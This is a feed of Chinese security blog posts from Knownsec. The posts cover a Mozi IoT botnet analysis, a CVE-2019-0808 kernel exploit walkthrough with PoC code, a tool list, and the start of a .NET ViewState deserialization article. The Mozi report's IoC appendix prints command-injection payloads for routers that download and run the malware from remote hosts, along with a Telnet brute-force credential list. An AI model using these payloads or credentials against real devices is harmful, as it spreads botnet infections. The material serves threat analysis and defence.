知道创宇 https://blog.knownsec.com 更好更安全的互联网 Tue, 03 Nov 2020 03:02:54 +0000 zh-CN hourly 1 专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告 https://blog.knownsec.com/2020/11/%e4%b8%93%e9%a1%b9%e8%a1%8c%e5%8a%a8%e7%9a%84%e6%84%8f%e5%a4%96%e6%94%b6%e8%8e%b7-2020-%e5%b9%b4-9-%e6%9c%88%e5%a2%a8%e5%ad%90%ef%bc%88mozi%ef%bc%89%e5%83%b5%e5%b0%b8%e7%bd%91/ https://blog.knownsec.com/2020/11/%e4%b8%93%e9%a1%b9%e8%a1%8c%e5%8a%a8%e7%9a%84%e6%84%8f%e5%a4%96%e6%94%b6%e8%8e%b7-2020-%e5%b9%b4-9-%e6%9c%88%e5%a2%a8%e5%ad%90%ef%bc%88mozi%ef%bc%89%e5%83%b5%e5%b0%b8%e7%bd%91/#respond Tue, 03 Nov 2020 03:02:53 +0000 https://blog.knownsec.com/?p=5145 作者:answerboy@知道创宇404积极防御实验室
时间:2020年9月18日

1.概述

专项行动期间,某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量,最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单,通过对攻击Payload特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩张的僵尸网络——Mozi(墨子)僵尸网络。

Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR 的攻击场景上的一种P2P僵尸网络。主要攻击物联网(IoT)设备,包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种,但也包含Gafgyt和IoT Reaper的部分代码,用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的90% 。

近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析,其中大量的攻击来自Mozi僵尸网络,可能和近期印度Mozi僵尸网络大范围感染并传播有关。

2.追溯分析

2.1发现攻击

近日,知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击,试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上,且使用的User-Agent均为:“Hello, world”。使用的部分攻击Payload如下:

cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

图1-攻击日志

通过对样本的分析确定该样本属于Mozi僵尸网络家族。

2.2详细分析

2.2.1 Mozi.m样本分析

捕获到的样本信息:

SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf

ELF 头:

Magic7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
类别ELF32
数据2 补码,大端序 (big endian)
Version1 (current)
OS/ABIUNIX - System V
ABI 版本0
类型EXEC (可执行文件)
系统架构MIPS R3000
版本0x1
入口点地址0x41fb58
程序头起点52 (bytes into file)

样本通过UPX进行了加壳操作,且将p_info结构中的p_file_size和p_blocksize值擦除为了0,来增强自身的“安全性”。

在成功感染目标设备之后,Mozi为进行自我保护,会通过防火墙阻断SSH、Telnet端口,以防止被其他僵尸网络入侵:

图2-阻断22、2323端口通信

根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:

图3-放行自身使用端口

同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程:

图4-Kill相关进程

检查被感染的设备上是否存在Watchdog来避免重启:

图5-检测Watchdog

检查被感染的设备上是否存在/usr/bin/python,如果存在,则将进程名称更改为sshd,不存在则更改为dropbear,以此来迷惑被攻击者。

图6-更改进程名

分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码,其中内嵌了8个硬编码的公共节点信息,用于加入P2P网络,如下:

图7-内置的节点

在样本中还硬编码了一个使用XOR加密的配置文件及密钥:

图8-配置文件

使用硬编码的秘钥解密后得到如下配置数据: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。

新的Mozi节点向http://ia.51.la/发送HTTP请求,来注册自身。

在通信流量中通过1:v4:JBls来标记是否为Mozi节点发起的通信。

图9-通信标识

所攻击的设备类型包括:GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:

图10-攻击的设备类型

同时还在样本中发现硬编码的部分用户名和弱口令,用来对Telnet进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:

图11-部分弱口令密码

2.3攻击分布

自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比,来自印度的攻击显著增加,拦截到的来自印度的攻击IP同比上涨了近30%,所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP TOP10:

图12-攻击IP TOP10

通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下:

图13-被攻击行业分布

目前Mozi僵尸网络仍在快速扩张,且呈上升趋势,临近十一重保,各单位仍需提高警惕,做好安全防护措施,尤其是各级政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。

3.防护建议

  • 1.设备关闭不必要的端口,对使用的端口号进行更改;
  • 2.定期更新系统补丁,及时修复相关漏洞;
  • 3.服务器切勿使用弱口令,避免被暴力破解;
  • 4.根据附件中的Payload阻断存在以下特征的通信;
  • 5.关注设备上的可疑进程和外连访问,尤其是近期来自印度的IP。

4附:IoCs

公共节点

dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索结果
82.221.103.244:6881(ZoomEye搜索结果
130.239.18.159:6881(ZoomEye搜索结果
87.98.162.88:6881(ZoomEye搜索结果

部分Payload

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

暴力破解使用的用户名及弱口令

UsernamePassword
admin00000000
telnetadmin1111
!!Huawei1111111
admin1234
root12345
root123456
keomeo2010vesta
support2011vesta
CMCCAdmin25802580
e8telnet54321
e8ehome1666666
e8ehome7ujMko0admin
user7ujMko0vizxv
mother888888
root88888888
Administrator@HuaweiHgw
serviceBrAhMoS@15
supervisorCMCCAdmin
guestCUAdmin
admin1Fireitup
administratorGM8182
ubntPhrQjGzk
techPon521
adminZte521
adminadmin
telnetadmin1234
adminHW
adminpass
anko
cat1029
chzhdpl
conexant
default
dreambox
e2008jl
e8ehome
e8ehome1
e8telnet
epicrouter
fucker
gpon
guest
gw1admin
h@32LuyD
hg2x0
hi3518
ikwb
juantech
jvbzd
keomeo
klv123
klv1234
meinsm
pass
password
plumeria0077
r@p8p0r+
realtek
root
service
smcadmin
supervisor
support
system
tech
telnet
telnetadmin
ubnt
user
v2mprt
vizxv
xJ4pCYeW
xc3511
xmhdipc
zlxx
zte

SHA256

bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887

5.参考链接:

https://kb.cert.org/vuls/id/582384/https://www.cebnet.com.cn/20180302/102469557.htmlhttps://cloud.tencent.com/developer/article/1366157


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1347/

]]>
https://blog.knownsec.com/2020/11/%e4%b8%93%e9%a1%b9%e8%a1%8c%e5%8a%a8%e7%9a%84%e6%84%8f%e5%a4%96%e6%94%b6%e8%8e%b7-2020-%e5%b9%b4-9-%e6%9c%88%e5%a2%a8%e5%ad%90%ef%bc%88mozi%ef%bc%89%e5%83%b5%e5%b0%b8%e7%bd%91/feed/ 0
CVE-2019-0808 从空指针解引用到权限提升 https://blog.knownsec.com/2020/11/cve-2019-0808-%e4%bb%8e%e7%a9%ba%e6%8c%87%e9%92%88%e8%a7%a3%e5%bc%95%e7%94%a8%e5%88%b0%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87/ https://blog.knownsec.com/2020/11/cve-2019-0808-%e4%bb%8e%e7%a9%ba%e6%8c%87%e9%92%88%e8%a7%a3%e5%bc%95%e7%94%a8%e5%88%b0%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87/#respond Tue, 03 Nov 2020 03:01:55 +0000 https://blog.knownsec.com/?p=5143 作者:Kerne7@知道创宇404实验室
时间:2020年9月28日

前言

选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。

首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。

在复现漏洞之前有几个问题浮现出来了,首先这个漏洞被用作沙盒逃逸,那么浏览器沙盒逃逸有哪几种方式?这个漏洞除了沙盒逃逸还可以用来做什么?其次空指针解引用的漏洞如何利用?这些可以通过查阅相关资料来自行探索。

从poc到寻找漏洞成因

在我分析这个漏洞的时候已经有人公布了完整的利用链,包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的,我们先测试一下这个 poc ,看下漏洞是如何触发的。搭建双机调试环境之后,运行 poc 导致系统 crash ,通过调试器我们可以看到

加载符号之后查看一下栈回溯.

可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题,可能是符号问题我在查看了 Google 的博客之后没有搜索到 MNGetpItemFromIndex 这个函数,从栈回溯可以看到最近的这个函数是 MNGetpItem ,大概就是在这个函数里面。

大概看了下函数触发顺序之后,我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。

首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ,获取这两个函数的地址是因为参考栈回溯中是由 win32k!NtUserMNDragOver 函数中开始调用后续函数的,但是这个函数没有被导出,所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。

pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。

SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,        EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);

之后设置了两个无模式拖放弹出菜单(之前创建的,但是不影响poc的逻辑顺序),即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单,并将hMenuSub设置为其子菜单。

HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");

创建了一个类名为#32768的窗口

hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

根据msdn我们可以查询到这个#32768为系统窗口,查的资料,因为CreateWindowA()并不知道如何去填充这些数据,所以直接调用多个属性被置为0或者NULL,包括创建的菜单窗口对象属性 tagPOPUPMENU->spmenu = NULL 。

然后设置wndclass的参数,再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。

WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。

TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);

    if (iMenuCreated >= 1) {
        bOnDraging = TRUE;
        pfnNtUserMNDragOver(&pt, buf);
        break;
    }
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (!bOnDraging) {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
        bIsDefWndProc = FALSE;
        printf("[*] HWND: %p \n", cwp->hwnd);
        SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
{
    switch (iMenuCreated)
    {
    case 0:
        SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    printf("[*] MSG\n");
    iMenuCreated++;
}

poc的流程已经分析完了,但是还是有部分的代码没有进入,比如 WindowHookProc 的 cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT 分支,该分支通过 SetWindowLongPtrA 来改变窗口的属性。把默认的过程函数替换为SubMenuProc,SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT 消息后把过程函数替换为默认的过程函数,然后返回我们自定义的FakeMenu的句柄。

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
    {
        SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
        return (ULONG)hWndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么,以及什么时候能收到 WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中,我们在IDA中逐渐回溯函数,在 xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo 之前,xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。

在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的 WM_MN_FINDMENUWINDOWFROMPOINT ,然后返回 v6 也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。

从空指针解引用到任意代码执行

触发了漏洞之后我们如何利用是个问题,首先的问题是把空指针解引用异常解决掉,在 windows7 版本上可以使用 ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。

为了进入到 MNGetpItem 的 if 分支中,我们需要对零页内存中的数据进行设置。并且通过查询资料得知,MNGetpItem 中的参数为 tagPOPUPMENU 结构,uDraggingIndex又可以从tagMSG的wParam取到,所以这个函数的返回值是在用户态可控的。

进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。

进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ,其中 v5 是 MNGetpItem 的返回值,v6 = v5,后续中有 v6 或的操作,MNGetpItem 的返回值又是用户态可控,利用这一点我们可以实现任意地址或0x40000000u的操作。

如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。

有了任意代码写,如果使 shellcode 在内核模式中执行呢?可以利用 tagWND. bServerSideWindowProc 字段,如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。

后记

通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了,但是如何达到在野外实现的浏览器沙盒逃逸的功能,还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程,还要思考这个漏洞是如何被发现的,是否可以通过poc中的一些功能来 fuzz 到同样的空指针解引用,以及我们如何去寻找这类漏洞。

参考链接

https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html

https://github.com/ze0r/cve-2019-0808-poc/


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1351/

]]>
https://blog.knownsec.com/2020/11/cve-2019-0808-%e4%bb%8e%e7%a9%ba%e6%8c%87%e9%92%88%e8%a7%a3%e5%bc%95%e7%94%a8%e5%88%b0%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87/feed/ 0
404 StarLink Project – 404 星链计划三期 https://blog.knownsec.com/2020/11/404-starlink-project-404-%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%b8%89%e6%9c%9f/ https://blog.knownsec.com/2020/11/404-starlink-project-404-%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%b8%89%e6%9c%9f/#respond Tue, 03 Nov 2020 03:00:50 +0000 https://blog.knownsec.com/?p=5141 作者:知道创宇404实验室
时间:2020年10月26日

“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。

其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404自研的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。

项目地址: - https://github.com/knownsec/404StarLink-Project

Contents

  • Project
    • Portforward
      • PortForward is a port forwarding tool developed using Golang.
    • KunLun-M
      • Kunlun-Mirror. Focus on white box tools used by security researchers
    • LBot
      • A simple xss bot template
    • ksubdomain
      • the fastest subdomain enumeration tool
    • Zoomeye Tools
      • the Chrome extension with Zoomeye
    • Pocsuite3
      • pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
    • Zoomeye SDK
      • ZoomEye API SDK
    • wam
      • WAM is a platform powered by Python to monitor "Web App"
  • Minitools
    • KunLun-M - phpunserializechain
      • A demo tool based on codedb to find the php deserialization chain.
    • bin_extractor
      • A simple script for quickly mining sensitive information in binary files.
    • CookieTest
      • A script used to quickly test APIs or required parameters and cookies for a certain request.
    • ipstatistics
      • ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
    • cidrgen
      • cidrgen is based on cidr's subnet IP list generator

Project

该分类下主要聚合各类安全工具,偏向于可用性较高的完整项目。

Portforward

项目链接:

https://github.com/knownsec/Portforward

项目简述:

PortForward 是使用 Golang 进行开发的端口转发工具,解决在某些场景下 内外网无法互通的问题。

Minitool

该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本,旨在优化日常安全自动化的使用体验。

KunLun-M - phpunserializechain

项目链接:

https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/phpunserializechain

项目简述:

基于.QL的概念探索出的一套CodeDB,探索性的完成了一个针对寻找PHP反序列化链的工具demo,目前还是demo性质的,还有很多问题需要解决。


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1382/

]]>
https://blog.knownsec.com/2020/11/404-starlink-project-404-%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%b8%89%e6%9c%9f/feed/ 0
.Net 反序列化之 ViewState 利用 https://blog.knownsec.com/2020/11/net-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8/ https://blog.knownsec.com/2020/11/net-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8/#respond Tue, 03 Nov 2020 02:59:45 +0000 https://blog.knownsec.com/?p=5139 作者:HuanGMz@知道创宇404实验室
时间:2020年10月30日

.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。

加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。

.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。

初接触.NET,文中谬误纰漏之处在所难免,如蒙指教不胜感激。

1. 调试.Net FrameWork

1.1 .Net 源码

对于刚接触.Net反序列化,甚至刚接触C#的朋友来说,有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework 的底层调试。

.Net Framework 已经被微软开源了,你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括 .Net 4.5.1 到 4.8。但是要注意,虽然微软开源了.Net 的源码,以及相应的VS项目文件,但是只能用于代码浏览,而无法进行编译。因为缺少重要组件(包括xaml文件和资源文件)。

1.2 调试

微软官文档有说明如何使用VS进行.Net源码的调试。其原理大概是通过pdb+源码的方式来进行单步调试。但经过实际尝试,发现并不是所有.net 程序集文件都有完整的pdb文件,其中一部分程序集的pdb是没有源码信息的。也就是说,只有一部分的程序集可以通过vs进行单步调试。

细节参考以下连接:https://referencesource.microsoft.com/setup.html

支持源码调试的程序集列表为:https://referencesource.microsoft.com/indexedpdbs.txt

在放弃使用vs进行调试后,我发现还可以使用dnspy 进行.net底层调试。dnspy 是一个开源的.Net反编译工具,与经典工具Reflector相比,它不仅可以用于反编译,还可以借助反编译直接进行调试。dnspy 的github链接在这里。可以下载源码进行编译,也可以直接下载编译好的版本,不过要注意满足它要求的.net framework 版本。

设置环境变量 COMPLUS_ZapDisable=1

为什么要设置这个环境变量,为了禁用所有NGEN映像(* .ni.dll)的使用。

